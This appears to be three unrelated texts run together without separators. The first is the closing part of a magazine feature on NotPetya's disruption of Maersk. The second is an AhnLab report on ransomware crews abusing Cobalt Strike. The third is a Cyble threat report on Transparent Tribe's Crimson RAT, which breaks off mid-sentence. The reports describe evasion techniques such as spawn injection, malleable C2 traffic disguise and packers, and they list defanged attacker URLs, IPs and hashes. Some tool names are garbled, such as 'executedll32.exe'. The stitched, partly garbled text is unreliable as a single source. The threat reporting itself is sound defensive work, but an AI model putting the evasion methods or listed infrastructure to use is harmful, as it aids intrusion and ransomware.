ships at premium, last-minute rates, often traveling the equivalent of standby. Or, if their cargo was part of a tight supply chain, like components for a factory, Maersk’s outage could mean shelling out for exorbitant air freight delivery or risk stalling manufacturing processes, where a single day of downtime costs hundreds of thousands of dollars. Many of the containers, known as reefers, were electrified and full of perishable goods that required refrigeration. They’d have to be plugged in somewhere or their contents would rot. Fernández had to scramble to find a New Jersey warehouse where he could stash his customers’ cargo while he waited for word from Maersk. During the entire first day, he says, he received only one official email, which read like “gibberish,” from a frazzled Maersk staffer’s Gmail account, offering no real explanation of the mounting crisis. The company’s central booking website, Maerskline.com, was down, and no one at the company was picking up their phones. Some of the containers he’d sent on Maersk’s ships that day would remain lost in cargo yards and ports around the world for the next three months. “Maersk was like a black hole,” Fernández remembers with a sigh. “It was just a clusterfuck.” In fact, it was a clusterfuck of clusterfucks. The same scene was playing out at 17 of Maersk’s 76 terminals, from Los Angeles to Algeciras, Spain, to Rotterdam in the Netherlands, to Mumbai. Gates were down. Cranes were frozen. Tens of thousands of trucks would be turned away from comatose terminals across the globe. No new bookings could be made, essentially cutting off Maersk’s core source of shipping revenue. The computers on Maersk’s ships weren’t infected. But the terminals’ software, designed to receive the Electronic Data Interchange files from those ships, which tell terminal operators the exact contents of their massive cargo holds, had been entirely wiped away. That left Maersk’s ports with no guide to perform the colossal Jenga game of loading and unloading their towering piles of containers. For days to come, one of the world’s most complex and interconnected distributed machines, underpinning the circulatory system of the global economy itself, would remain broken. “It was clear this problem was of a magnitude never seen before in global transport,” one Maersk customer remembers. “In the history of shipping IT, no one has ever gone through such a monumental crisis.” Several days after his screen had gone dark in a corner of Maersk’s office, Henrik Jensen was at home in his Copenhagen apartment, enjoying a brunch of poached eggs, toast, and marmalade. Since he’d walked out of the office the Tuesday before, he hadn’t heard a word from any of his superiors. Then his phone rang. When he answered, he found himself on a conference call with three Maersk staffers. He was needed, they said, at Maersk’s office in Maidenhead, England, a town west of London where the conglomerate’s IT overlords, Maersk Group Infrastructure Services, were based. They told him to drop everything and go there. Immediately. Two hours later, Jensen was on a plane to London, then in a car to an eight-story glass-and-brick building in central Maidenhead. When he arrived, he found that the fourth and fifth floors of the building had been converted into a 24/7 emergency operations center. Its singular purpose: to rebuild Maersk’s global network in the wake of its NotPetya meltdown. Some Maersk staffers, Jensen learned, had been in the recovery center since Tuesday, when NotPetya first struck. Some had been sleeping in the office, under their desks or in corners of conference rooms. Others seemed to be arriving every minute from other parts of the world, luggage in hand. Maersk had booked practically every hotel room within tens of miles, every bed-and-breakfast, every spare room above a pub. Staffers were subsisting on snacks that someone had piled up in the office kitchen after a trip to a nearby Sainsbury’s grocery store. The Maidenhead recovery center was being managed by the consultancy Deloitte. Maersk had essentially given the UK firm a blank check to make its NotPetya problem go away, and at any given time as many as 200 Deloitte staffers were stationed in the Maidenhead office, alongside up to 400 Maersk personnel. All computer equipment used by Maersk from before NotPetya’s outbreak had been confiscated, for fear that it might infect new systems, and signs were posted threatening disciplinary action against anyone who used it. Instead, staffers had gone into every available electronics store in Maidenhead and bought up piles of new laptops and prepaid Wi-Fi hot spots. Jensen, like hundreds of other Maersk IT staffers, was given one of those fresh laptops and told to do his job. “It was very much just ‘Find your corner, get to work, do whatever needs to be done,’” he says. Early in the operation, the IT staffers rebuilding Maersk’s network came to a sickening realization. They had located backups of almost all of Maersk’s individual servers, dating from between three and seven days prior to NotPetya’s onset. But no one could find a backup for one crucial layer of the company’s network: its domain controllers, the servers that function as a detailed map of Maersk’s network and set the basic rules that determine which users are allowed access to which systems. Maersk’s 150 or so domain controllers were programmed to sync their data with one another, so that, in theory, any of them could function as a backup for all the others. But that decentralized backup strategy hadn’t accounted for one scenario: where every domain controller is wiped simultaneously. “If we can’t recover our domain controllers,” a Maersk IT staffer remembers thinking, “we can’t recover anything.” After a frantic global search, the admins finally found one lone surviving domain controller in a remote office—in Ghana. After a frantic search that entailed calling hundreds of IT admins in data centers around the world, Maersk’s desperate administrators finally found one lone surviving domain controller in a remote office—in Ghana. At some point before NotPetya struck, a blackout had knocked the Ghanaian machine offline, and the computer remained disconnected from the network. It thus contained the singular known copy of the company’s domain controller data left untouched by the malware—all thanks to a power outage. “There were a lot of joyous whoops in the office when we found it,” a Maersk administrator says. When the tense engineers in Maidenhead set up a connection to the Ghana office, however, they found its bandwidth was so thin that it would take days to transmit the several-hundred-gigabyte domain controller backup to the UK. Their next idea: put a Ghanaian staffer on the next plane to London. But none of the West African office’s employees had a British visa. So the Maidenhead operation arranged for a kind of relay race: One staffer from the Ghana office flew to Nigeria to meet another Maersk employee in the airport to hand off the very precious hard drive. That staffer then boarded the six-and-a-half-hour flight to Heathrow, carrying the keystone of Maersk’s entire recovery process. With that rescue operation completed, the Maidenhead office could begin bringing Maersk’s core services back online. After the first days, Maersk’s port operations had regained the ability to read the ships’ inventory files, so operators were no longer blind to the contents of the hulking, 18,000-container vessels arriving in their harbors. But several days would pass after the initial outage before Maersk started taking orders through Maerskline.com for new shipments, and it would be more than a week before terminals around the world started functioning with any degree of normalcy. In the meantime, Maersk staffers worked with whatever tools were still available to them. They taped paper documents to shipping containers at APM ports and took orders via personal Gmail accounts, WhatsApp, and Excel spreadsheets. “I can tell you it’s a fairly bizarre experience to find yourself booking 500 shipping containers via WhatsApp, but that’s what we did,” one Maersk customer says. About two weeks after the attack, Maersk’s network had finally reached a point where the company could begin reissuing personal computers to the majority of staff. Back at the Copenhagen headquarters, a cafeteria in the basement of the building was turned into a reinstallation assembly line. Computers were lined up 20 at a time on dining tables as help desk staff walked down the rows, inserting USB drives they’d copied by the dozens, clicking through prompts for hours. A few days after his return from Maidenhead, Henrik Jensen found his laptop in an alphabetized pile of hundreds, its hard drive wiped, a clean image of Windows installed. Everything that he and every other Maersk employee had stored locally on their machines, from notes to contacts to family photos, was gone. Five months after Maersk had recovered from its NotPetya attack, Maersk chair Jim Hagemann Snabe sat onstage at the World Economic Forum meeting in Davos, Switzerland, and lauded the “heroic effort” that went into the company’s IT rescue operation. From June 27, when he was first awakened by a 4 am phone call in California, ahead of a planned appearance at a Stanford conference, he said, it took just 10 days for the company to rebuild its entire network of 4,000 servers and 45,000 PCs. (Full recovery had taken far longer: Some staffers at the Maidenhead operation continued to work day and night for close to two months to rebuild Maersk’s software setup.) “We overcame the problem with human resilience,” Snabe told the crowd. Since then, Snabe went on, Maersk has worked not only to improve its cybersecurity but also to make it a “competitive advantage.” Indeed, in the wake of NotPetya, IT staffers say that practically every security feature they’ve asked for has been almost immediately approved. Multifactor authentication has been rolled out across the company, along with a long-delayed upgrade to Windows 10. Snabe, however, didn’t say much about the company’s security posture pre-NotPetya. Maersk security staffers tell WIRED that some of the corporation’s servers were, up until the attack, still running Windows 2000—an operating system so old Microsoft no longer supported it. In 2016, one group of IT executives had pushed for a preemptive security redesign of Maersk’s entire global network. They called attention to Maersk’s less-than-perfect software patching, outdated operating systems, and above all insufficient network segmentation. That last vulnerability in particular, they warned, could allow malware with access to one part of the network to spread wildly beyond its initial foothold, exactly as NotPetya would the next year. The security revamp was green-lit and budgeted. But its success was never made a so-called key performance indicator for Maersk’s most senior IT overseers, so implementing it wouldn’t contribute to their bonuses. They never carried the security makeover forward. Few firms have paid more dearly for dragging their feet on security. In his Davos talk, Snabe claimed that the company suffered only a 20 percent reduction in total shipping volume during its NotPetya outage, thanks to its quick efforts and manual workarounds. But aside from the company’s lost business and downtime, as well as the cost of rebuilding an entire network, Maersk also reimbursed many of its customers for the expense of rerouting or storing their marooned cargo. One Maersk customer described receiving a seven-figure check from the company to cover the cost of sending his cargo via last-minute chartered jet. “They paid me a cool million with no more than a two-minute discussion,” he says. On top of the panic and disruption it caused, NotPetya may have wiped away evidence of espionage or even reconnaissance for future sabotage. All told, Snabe estimated in his Davos comments, NotPetya cost Maersk between $250 million and $300 million. Most of the staffers WIRED spoke with privately suspected the company’s accountants had low-balled the figure. Regardless, those numbers only start to describe the magnitude of the damage. Logistics companies whose livelihoods depend on Maersk-owned terminals weren’t all treated as well during the outage as Maersk’s customers, for instance. Jeffrey Bader, president of a Port Newark–based trucking group, the Association of Bi-State Motor Carriers, estimates that the unreimbursed cost for trucking companies and truckers alone is in the tens of millions. “It was a nightmare,” Bader says. “We lost a lot of money, and we’re angry.” The wider cost of Maersk’s disruption to the global supply chain as a whole—which depends on just-in-time delivery of products and manufacturing components—is far harder to measure. And, of course, Maersk was only one victim. Merck, whose ability to manufacture some drugs was temporarily shut down by NotPetya, told shareholders it lost a staggering $870 million due to the malware. FedEx, whose European subsidiary TNT Express was crippled in the attack and required months to recover some data, took a $400 million blow. French construction giant Saint-Gobain lost around the same amount. Reckitt Benckiser, the British manufacturer of Durex condoms, lost $129 million, and Mondelēz, the owner of chocolate-maker Cadbury, took a $188 million hit. Untold numbers of victims without public shareholders counted their losses in secret. Only when you start to multiply Maersk’s story—imagining the same paralysis, the same serial crises, the same grueling recovery—playing out across dozens of other NotPetya victims and countless other industries does the true scale of Russia’s cyberwar crime begin to come into focus. “This was a very significant wake-up call,” Snabe said at his Davos panel. Then he added, with a Scandinavian touch of understatement, “You could say, a very expensive one.” One week after NotPetya’s outbreak, Ukrainian police dressed in full SWAT camo gear and armed with assault rifles poured out of vans and into the modest headquarters of Linkos Group, running up the stairs like SEAL Team Six invading the bin Laden compound. They pointed rifles at perplexed employees and lined them up in the hallway, according to the company’s founder, Olesya Linnyk. On the second floor, next to her office, the armored cops even smashed open the door to one room with a metal baton, in spite of Linnyk’s offer of a key to unlock it. “It was an absurd situation,” Linnyk says after a deep breath of exasperation. The militarized police squad finally found what it was looking for: the rack of servers that had played the role of patient zero in the NotPetya plague. They confiscated the offending machines and put them in plastic bags. Even now, more than a year after the attack’s calamitous spread, cybersecurity experts still argue over the mysteries of NotPetya. What were the hackers’ true intentions? The Kiev staff of security firm ISSP, including Oleh Derevianko and Oleksii Yasinsky, maintain that the attack was intended not merely for destruction but as a cleanup effort. After all, the hackers who launched it first had months of unfettered access to victims’ networks. On top of the panic and disruption it caused, NotPetya may have also wiped away evidence of espionage or even reconnaissance for future sabotage. Just in May, the US Justice Department and Ukrainian security services announced that they’d disrupted a Russian operation that had infected half a million internet routers—mostly in Ukraine—with a new form of destructive malware. While many in the security community still see NotPetya’s international victims as collateral damage, Cisco’s Craig Williams argues that Russia knew full well the extent of the pain the worm would inflict internationally. That fallout, he argues, was meant to explicitly punish anyone who would dare even to maintain an office inside the borders of Russia’s enemy. “Anyone who thinks this was accidental is engaged in wishful thinking,” Williams says. “This was a piece of malware designed to send a political message: If you do business in Ukraine, bad things are going to happen to you.” Almost everyone who has studied NotPetya, however, agrees on one point: that it could happen again or even reoccur on a larger scale. Global corporations are simply too interconnected, information security too complex, attack surfaces too broad to protect against state-trained hackers bent on releasing the next world-shaking worm. Russia, meanwhile, hardly seems to have been chastened by the US government’s sanctions for NotPetya, which arrived a full eight months after the worm hit and whose punishments were muddled with other messages chastising Russia for everything from 2016 election disinformation to hacker probes of the US power grid. “The lack of a proper response has been almost an invitation to escalate more,” says Thomas Rid, a political science professor at Johns Hopkins’ School of Advanced International Studies. But the most enduring object lesson of NotPetya may simply be the strange, extra-dimensional landscape of cyberwar’s battlefield. This is the confounding geography of cyberwarfare: In ways that still defy human intuition, phantoms inside M.E.Doc’s server room in a gritty corner of Kiev spread chaos into the gilded conference rooms of the capital’s federal agencies, into ports dotting the globe, into the stately headquarters of Maersk on the Copenhagen harbor, and across the global economy. “Somehow the vulnerability of this Ukrainian accounting software affects the US national security supply of vaccines and global shipping?” asks Joshua Corman, a cybersecurity fellow at the Atlantic Council, as if still puzzling out the shape of the wormhole that made that cause-and-effect possible. “The physics of cyberspace are wholly different from every other war domain.” In those physics, NotPetya reminds us, distance is no defense. Every barbarian is already at every gate. And the network of entanglements in that ether, which have unified and elevated the world for the past 25 years, can, over a few hours on a summer day, bring it to a crashing halt.
# From Kill Chain to Ransomware: Comprehensive Analysis on Cobalt Strike 2021 Cobalt Strike is a legitimate penetration test tool that is widely used by red teams and penetration testers to check security vulnerabilities of networks and systems within companies and organizations. Its most distinctive characteristic is that it provides a multitude of features for each penetration test stage. However, with the distribution of the tool’s cracked version, cyber criminals have begun to exploit the tool to distribute malware and carry out malicious activities. Recently, there have been numerous cases of ransomware attacks targeting Korean companies by exploiting Cobalt Strike. From creating various types of payloads for system infiltration and stealing account information to compromising the system via lateral movement, Cobalt Strike provides features necessary for each stage. It also has many detailed settings and offers high scalability through third-party modules. Therefore, to analyze and defend attacks that exploit Cobalt Strike, one must consider many features provided by the tool as well as the various possibilities arising from a variety of techniques that can bypass detection. This report introduces Cobalt Strike’s attack method and characteristics of each stage based on the information tracked and analyzed by AhnLab Security Emergency-response Center (ASEC). It also examines the actual ransomware attack cases that exploited Cobalt Strike, discovered up to the recent second quarter of 2021. ## 1. Attack Flow of Cobalt Strike Cobalt Strike can be largely divided into three parts: beacon, team server, and Cobalt Strike client. The actual malware that first operates as a backdoor in the infected PC is the beacon. The beacon is a backdoor that can perform commands provided by Cobalt Strike and it can perform malicious behaviors in external and internal networks by receiving commands from the C&C server. The next aspect is the actual C&C server called 'team server' that the beacon communicates to. Lastly, there is the Cobalt Strike client. The attacker can use the client to connect to the team server and send commands to the beacon via the server. Besides controlling the beacon, the client also provides a feature to create malicious payloads like Beacons and stager, other features, such as extension, and various UIs. When a particular company system connected with the external network is infected with a beacon, the attacker can steal account info using privilege escalation and tools, such as Mimikatz, for lateral movement to make their way into other systems within the company’s system. Cobalt Strike is a tool specialized for supporting such a process. In effect, the attacker installs another beacon in the remote system through lateral movement. For internal networks, an SMB beacon is installed instead. For systems connected to the external network, the malware installs beacons, such as HTTP or HTTPS to receive commands from the external C&C server. For systems that are not connected to the external network, it uses the SMB beacon and SMB protocol to communicate. The SMB beacon can receive commands directly from the C&C server through the HTTP beacon. Hence, unlike other types of backdoor malware, Cobalt Strike allows the attacker to directly control the internal system. It also provides various techniques to bypass detection by security products. When a beacon is running, it is operating as a process. Cobalt Strike provides various settings, such as spawn, to prevent the system from detecting a suspicious process. Because it can also assign arguments, it becomes impossible for the current system to detect a suspicious process from just the list of processes. Moreover, as Cobalt Strike can directly manipulate packets for network communications, it is difficult to detect communication of HTTP and HTTPS beacons via packet-based detection. As such, the beacon ends up existing in the memory of a certain process. Because various settings are also provided for the form of the beacon existing in the memory, the malware can bypass memory-based detections. ## 2. Cyber Attack Kill Chain Exploiting Cobalt Strike Cobalt Strike goes through the process of ‘initial compromise, establish foothold, privilege escalation, internal reconnaissance, lateral movement, and maintain persistence’ to achieve the attacker’s goal. ### 2.1. Initial Compromise and Establish Foothold Beacon is Cobalt Strike’s agent that acts as a backdoor. If a particular system is infected by Cobalt Strike, it means that a beacon is installed and executed. Cobalt Strike provides beacons in various forms. Depending on the method, they can be categorized as either stager or stageless. Stager is a meterpreter that downloads a beacon from outside and executes it in the memory. It has a small size because it does not contain the actual beacon, and it must additionally download one. It can use HTTP, HTTPS, and DNS protocols to download a beacon from an external source. Also, when it propagates a beacon to the internal network during the lateral movement stage, it uses a named pipe (SMB protocol) to send the beacon. When a stageless method is used, a beacon does not have to be downloaded from the outside as it is already included. Because of this, the size of a stageless payload is quite noticeable. Since both the stager method (downloading and running the beacon) and the stageless method (loading and running the beacon existing in a particular form) are not required to take the form of an executable, Cobalt Strike provides many types of payloads. The builder provided by default can create an executable with formats, such as exe, dll, and Service exe as well as hta, vba macro, PowerShell command, and even raw formats. Like stager, the beacon can also communicate with the C&C server via protocols, such as HTTP, HTTPS, and DNS. As the beacon installed in the internal network during the lateral movement stage will not be connected with the external network, an SMB beacon that communicates via the SMB protocol is installed. The initially installed beacon can operate in various processes depending on its form. This also applies when proceeding with internal propagation during the process of lateral movement. For Cobalt Strike with default settings, the initial execute process can be executedll32.exe, powershell.exe, or WinRM-based wsmprovhost.exe depending on the command. However, Cobalt Strike provides a feature called ‘spawn’ to prevent beacons from being operated in processes mentioned above as they are very likely to draw admin or user’s suspicion. Spawn can also be configured in the profile file to assign the file path and the argument of the normal process that will be injected with the beacon. Even if a beacon is loaded and executed in powershell.exe, one of the watched processes in an infected environment, if the beacon was injected into the normal process using spawn, security programs cannot pinpoint the specific process a detection target. To maintain the connection with the attacker server after compromising a system, Cobalt Strike can use a feature called ‘malleable C&C profile’ to bypass the network packet-based detection system. It allows the attacker to modify Cobalt Strike’s C&C (Command & Control) traffic to their liking. For instance, the traffic can be disguised as a normal server, such as Google or Bing, allowing it to communicate with the attacker server without getting detected by the network security system. Cobalt Strike uses a settings file called ‘profile,’ one of its core aspects, to execute this feature. ### 2.2. Privilege Escalation After completing the initial compromise and establishing a foothold, the attacker will attempt to obtain a local administrator or domain administrator credential to carry out lateral movement in the internal network. Cobalt Strike provides the Mimikatz feature to obtain such account information, but to perform the account info-stealing command, the attacker needs a privilege greater than that of the Administrator. This is why the process of privilege escalation takes place prior to running Mimikatz. Attackers use UAC bypass or LPE vulnerabilities to accomplish their goals. They use certain features that Cobalt Strike provides by default, but sometimes, they also use third-party tools. ### 2.3. Internal Reconnaissance If the attacker succeeds in stealing credentials via privilege escalation and execution of Mimikatz in the infected system, this effectively means that the attacker has completely compromised the system. In this stage, the attacker uses ADFind and port scan feature to collect the information of all the PCs in the network connected with the current system. Often used by attackers to collect information, ADFind is a command-line tool that collects the Active Directory information in the current network. For instance, APT attack groups, such as FIN6 execute ADFind as a batch file and collect information including, but not limited to, domain controller list, subnet list, computer information existing in the domain, and information of the Active Directory that the current system belongs. ### 2.4. Lateral Movement After completing the processes of internal reconnaissance and stealing credentials via port scan and tools like ADFind, the attacker can now proceed with the internal propagation. Direct shell commands can be used in Cobalt Strike, but attackers can use other commands provided by default, such as psexec (psexec64), psexec_psh, winrm (winrm64), and ssh (ssh-key). ### 2.5. Maintain Persistence and Complete Mission At this stage, the system is completely compromised by the attacker. The malware can perform commands without restrictions, such as adding extension modules or installing other types of malware. The first command that will be performed is ‘maintain persistence.’ The attacker performs maintain persistence command so that the beacon can be executed again when it is unexpectedly terminated due to the reboot of the infected PC or termination of the beacon-carrying process. ## 3. Cobalt Strike Attack Cases The actual attack cases where Cobalt Strike was used during a certain stage of distribution, installation, or lateral movement are as follows. ### 3.1. Cobalt Strike Distribution Stage **(1) BlueCrab** Also known as Revil or Sodinokibi, BlueCrab ransomware is disguised as crack programs in phishing pages. When users search crack software on Google for download, they might download the ransomware instead. Inside the initially downloaded file is a JavaScript file that has the downloader feature. When the file is executed, it checks for the %USERDNSDOMAIN% environment variable in the user system. The environment variable exists in an environment like a corporate AD server where a domain is configured. If the variable does not exist, the malware considers the system normal and performs BlueCrab ransomware activities. If the %USERDNSDOMAIN% environment variable exists, the file recognizes the system as a company user’s PC and installs Cobalt Strike. **(2) Hancitor** Hancitor is a downloader malware distributed through attachments in spam emails, usually Microsoft Office document files. Through the files, the actual Hancitor binary is executed. Being a downloader itself, it downloads and installs additional malware. When the Word document is opened, the malware uses a social engineering technique to enable the macro. It’s been known that the additionally downloaded malware strains are Pony, the info-stealer malware from the past, and Vawtrak, the banking malware. Recently, the info-stealer named FickerStealer is installing Cobalt Strike. **(3) Case of Company A** For company A, python36.exe, which has the loader feature inside the normal installer, and msvcp140_3.dll, a beacon-encoded data file, were distributed and executed together. When python36.exe is executed, it loads msvcp140_3.dll existing in the same file path and executes it in the memory after decoding it. HT TPS beacon is the one that is executed in the memory, and this is a typical stageless method. ### 3.2. Cobalt Strike Installation Stage **(1) Case of Company B** It was discovered that Company B was a target of the stageless Cobalt Strike distribution similar to that in company A. The loader with the PE executable file format starts loading and decoding when the data file dewm.dll is in the same path. Upon decoding, the HT TPS and DNS beacons in the form of a PE file are created. They are executed in the memory and receive additional commands from the C&C server. **(2) Case of Company C** Company C is an SME (small or medium-sized enterprise) that develops and supplies certain solutions. While the details and cause of the initial infection remain unknown, the PowerShell process downloaded and executed a file named ‘0a3b4f.css’ from the attacker’s server. The file is a PowerShell script encoded with SecureString. When decoded, a stager PowerShell script is revealed. **(3) Case of Company D** For this case, the stageless form was distributed, meaning that the sample contained a Beacon within. The sample used a custom packer made with Go (programming language) and was made in the CPL (*.cpl) format. The CPL file is the settings property file that expresses the applets of the control panel and shows similarity to a DLL file. As such, it is loaded and executed by executedll32.exe when executed. **(4) Case of University E** The malware discovered in university E used ‘PEzor,’ the open-source packer, and ultimately ran a specific shellcode. One noticeable feature of the PEzor packer is that it supports an Artifact Kit. An Artifact Kit is a build module that helps Cobalt Strike bypass anti-malware products. When using the Artifact Kit of ‘PEzor,’ the executable is built in a format different from previous executables (EXE and DLL). It can use features of ‘PEzor,’ such as user-land hook bypass. **(5) Case of Company F** In this case, it was found that the PowerShell process was attempting to execute a malicious script (%temp%\tmp5O91.ps1) existing in a certain folder to download a beacon. The executed shellcode is a stager that downloads the beacon from the C&C server (pilottrustme[.]top, 54.238.214[.]219). However, as the connection is currently unavailable, the team cannot check the latest information about the beacon. ### 3.3. Lateral Movement Stage **(1) Case of Company G** For company G, the PowerShell command used in the lateral movement was found along with an HT PS beacon. The command is an HT PS stager, downloading the HT PS beacon and running it in the memory. It appears that the beacon is used to communicate with the external network. Inside the beacon existed many PowerShell commands for the lateral movement. **(2) Case of Company H** The files that company H received are obfuscated JS files. When they are executed, they decode the SMB beacon encoded in the script and execute it in the memory. Unlike the case of company G examined earlier, instead of using Cobalt Strike’s basic command, files of various formats, such as a JS file were used when propagating to the inner part to bypass detection. ## 4. Ransomware Cases Exploiting Cobalt Strike Since Cobalt Strike is an incredibly useful tool to penetrate a company’s infrastructure, APT groups utilize it in various ways to attack businesses. It is also important to note that recently, it is being used widely in various ransomware and info-leaker attacks. ### 4.1. Case of CLOP Ransomware The TA505 group has been launching CLOP ransomware attacks since 2019, and it is one of the most notable attacks against Korean companies. The group attacked corporate users via spam emails and utilized the RAT malware named FlawedAmmyy to send commands from the infected PC. ### 4.2. Case of Conti Ransomware IcedID, also called Bokbot, is a banking malware distributed as malicious Microsoft Office attachments of spam mails. The attachments install the IcedID loader, which only has the download feature. It can install additional modules with features of processing commands, stealing bank account information, and proxy. ### 4.3. Case of DarkSide Ransomware DarkSide ransomware recently drew worldwide attention by attacking a U.S. pipeline company to demand cryptocurrency worth tens of millions of dollars. The company was first infected by Zloader malware. Afterward, DarkSide ransomware was installed in the internal infrastructure through Cobalt Strike. ### 4.4. Case of Ryuk Ransomware The case of Ryuk ransomware is another instance of a Korean company being infected with malware. In March 2021, it was discovered that more than 100 PCs installed in one Korean company were infected by certain ransomware. The ransomware that infected the PCs is Ryuk. ## 5. Conclusion AhnLab products are equipped with process memory-based detection methods, and behavior-based detection features that can detect and block the beacon backdoor, the core module of Cobalt Strike used from the initial invasion stage to the final internal propagation stage. As the Cobalt Strike attack tool mainly targets companies’ AD internal networks, security managers should pay extra attention to the AD server security to prevent breach incidents. Because the attacker mainly uses normal Windows features, such as PsExec, WinRM, and RDP, to assist with management tasks, security managers should continuously monitor Administrator accounts and disable unnecessary ports. Also, software and security products should be updated to their latest versions. ## 6. IOC **File** - Hancitor - Word Document File: 693df6e9f5dc0cd3ed4c6ede503ce8bc - Hancitor DLL: 5122d19bed77851f85775793e34bff09 - FickerStealer: 77be0dd6570301acac3634801676b5d7 - Company A - python36.exe: 622cd25e79dc350ec614530699e84d55 - msvcp140_3.dll: 8baa568281d8971de0e25720e956a89f - System.Runtime.Local.dll: 38a15672fa8cc5a94b08e4304e7add5b - System.PrintServices.tlb: 717b4597e0615d728dd82f236e8aef7d - sch.bat: b37f4043612b68ffba6752402b689c64 - Company B - Loader: e46d58b7339ecb79257ccdd35e9aa837 - dewm.dll: 531adf8a40b386c027a3024e4c6c7c5a - Company C - 0a3b4f.css: 3b42d9dbd4d898be83daf9d333f4c6d9 - Company D - security_certificate.cpl: 17701d82c332d6ccdb03d4a0e9068478 - University E - msvcruntime.exe: f990c4df6a580794cb6fd1d4fafe64b8 - Company F - tmp5O91.ps1: d782dd504419ef0699d65cfa8c673700 - Company G - PowerShell Command: a272d9c9d9037a68fbb811f8ee4171f2 - Company H - JavaScript Loader: e277845059c6cce8e7763a8314604e81, c2da086384230cc7b1b235294b18a803 **Download and C&C Server** - Hancitor Case and Hancitor C&C - hxxp://sumbahas[.]com/8/forum.php - hxxp://staciterst[.]ru/8/forum.php - hxxp://semareake[.]ru/8/forum.php - Hancitor Case and FickerStealer C&C - hxxp://sweyblidian[.]com - Hancitor Case and Cobalt Strike C&C - hxxp://kuragnda2[.]ru/2804.bin - hxxp://kuragnda2[.]ru/2804s.bin - hxxp://45.170.245[.]190/qbU4 - hxxp://45.170.245[.]190/dO1x - hxxp://45.170.245[.]190/visit.js - hxxp://45.170.245[.]190/activity - Company A - hxxps://azure.microsofts.workers[.]dev/jquery-2.2.2.4.min.js - hxxps://www.battllestategames[.]com/jquery-3.3.1.min.js - Company B - ns1.365filtering[.]com/pixel - ns3.365filtering[.]com/activity - ns4.365filtering[.]com/cx - ns1a.365filtering[.]com/cm - ns2a.365filtering[.]com/ptj - ns4a.365filtering[.]com/activity - Company C - 5.34.178[.]203 - Company D / University E - 62.171.141[.]54 (hxxps://oxoo[.]cc) - Company F - 54.238.214[.]219 (hxxps://pilottrustme[.]top) **Report Vol.103** **Contributors**: ASEC Researchers **Publisher**: AhnLab, Inc. **Editor**: Content Creatives Team **Website**: www.ahnlab.com **Email**: [email protected] Disclosure to or reproduction for others without the specific written authorization of AhnLab is prohibited. © 2021 AhnLab, Inc. All rights reserved.
# Transparent Tribe Operating with a New Variant of Crimson RAT Transparent Tribe is an Advanced Persistence Threat (APT) group that has been active since 2013. Also known as PROJECTM and MYTHIC LEOPARD, the group is highly active and has been engaged in conducting various cyber espionage campaigns. The APT group is suspected to be politically motivated, as its victims include defense and diplomatic professionals. One of the tools used in its campaigns is a .NET RAT (Remote Access Trojan) also known as Crimson RAT. The group was seen to be operating with an updated version of Crimson RAT discovered recently, consisting of a malicious macro embedded in a word file that upon execution drops a payload to set up a communication channel with a Command-and-Control Server (C2/C&C Server). ## Details of Transparent Tribe - **Aliases:** PROJECTM and MYTHIC LEOPARD - **Target:** Afghanistan and India Transparent Tribe's campaigns begin with the delivery of a malicious document file on the targeted victim system. Upon opening the malformed document that has an embedded macro, users receive a notification regarding a security concern and are instructed to give consent for enabling the content. As the infection flow starts off from the execution of the word macro, we were on the lookout for more information regarding the malicious macro. As per OLE Object analysis, the Autoexecution of the Document_open function leads to the payload delivery and its subsequent execution on the victim’s machine. The name of the payload file is dubbed as “railthnsrqn” in the macro, along with the use of the ALLUSERPROFILE variable, which indicates that the payload might get dropped in C:\ProgramData. The macro checks for the OS (Operating System) version, and based on whether it is 32-bit or 64-bit, it accordingly selects the payload. The payload gets executed after it’s dropped using a shell command. ## Case 2 During our research, we also found a different execution technique used by the Crimson RAT to execute its payload. This technique does not use word macros, but a binary executable file that has an embedded word document (containing a CV file). Upon execution, it opens the embedded word document and silently executes its payload in the background. ### Technical analysis Case 1 Upon behavioral analysis, it was verified that the payload file named railthnsrqn.exe was dropped and executed after enabling the macro. Upon analyzing the network traffic, we found that multiple TCP requests were made to 167.160.166.177, which turns out to be the C&C server. We found the following hardcoded port numbers during the decompilation of railthnsrqn.exe. The code used by the payload to exfiltrate data and the code that has been written to make changes into the registry for persistence and to autostart the malware payload were also analyzed. ### Technical analysis Case 2 The execution of the payload file (othvidtiraw.exe) in the background was observed. The payload is trying to connect to the Command and Control (C2) server and is also accessing the registry for persistence. ## MITRE ATT&CK Mapping | Tactics | Techniques | Procedures | |-----------------------------|------------|---------------------------------------------------| | Execution | T1204 | Manual Execution by User | | Persistence | T1060 | Changes the Autorun Value in the Registry. | | Defense Evasion | T1140 | Use of Obfuscated Macros. | | Discovery | T1012 | Query Registry Check Environment Variables | | Collection | T1113, T1119 | Capture Screenshot Automated Collection | | Command and Control | T1095 | Non-application Layer Protocol | The Transparent Tribe APT group has been actively exploiting its target using an updated tool set. In the past, we have seen them successfully carrying out their campaigns on defense and diplomatic personnel. The use of new attack techniques helps an attacker to evade security mechanisms, thereby establishing more persistence on the victim network. Individuals are advised to enhance security controls to overcome these new TTPs used by hackers. So far, we have not heard of Transparent Tribe exploiting the general public; however, most of the victims of the APT group seem to have some relation with Afghanistan or India. Cyble will continue to track APT activities to collect advanced threat intelligence related to such campaigns. ## Recommendations - We recommend blocking the listed hashes, URLs, and other indicators on your security systems shared in the IoC list below. - Never share personal information, including financial information over the phone, email, or SMS. - Use strong passwords and enforce multi-factor authentication wherever possible. - Regularly monitor your financial transactions, and if you notice any suspicious activity, contact your bank immediately. - Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic. - Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile. - People concerned about their exposure to the Dark web can register at AmiBreached.com to ascertain their exposure. - Refrain from opening untrusted links and email attachments without verifying their authenticity. ## Indicators of Compromise (IOCs) | TYPE | VALUE | |------|-------| | HASH | d40b8c55edf7d7f118650135ee37080e8e296e635af5481e1a2850088524196c | | HASH | 012eba6182006cf9772ff509896fc2a929b5fe3062f29ed70c451c8ebd393d27 | | HASH | e16df177681e356ab8a9491e841fa1a757bc40069e2f42493b9238f0584cb9f1 | | HASH | 2db4365498a82081bce864196207c9478da3466167291ff7f36f93c9483fa624 | | HASH | 3e9d94714c78d02eedc5f9085982edd5b840950e65702d8ee1544b643733570b | | HASH | 4c8e0459524380a9f00ffc58913f461c3e1d8737dd18252881f09e2d416e4f73 | | IP | 167.86.89.53 | | IP | 167.160.166.177 | ## About Cyble Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the dark web. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity 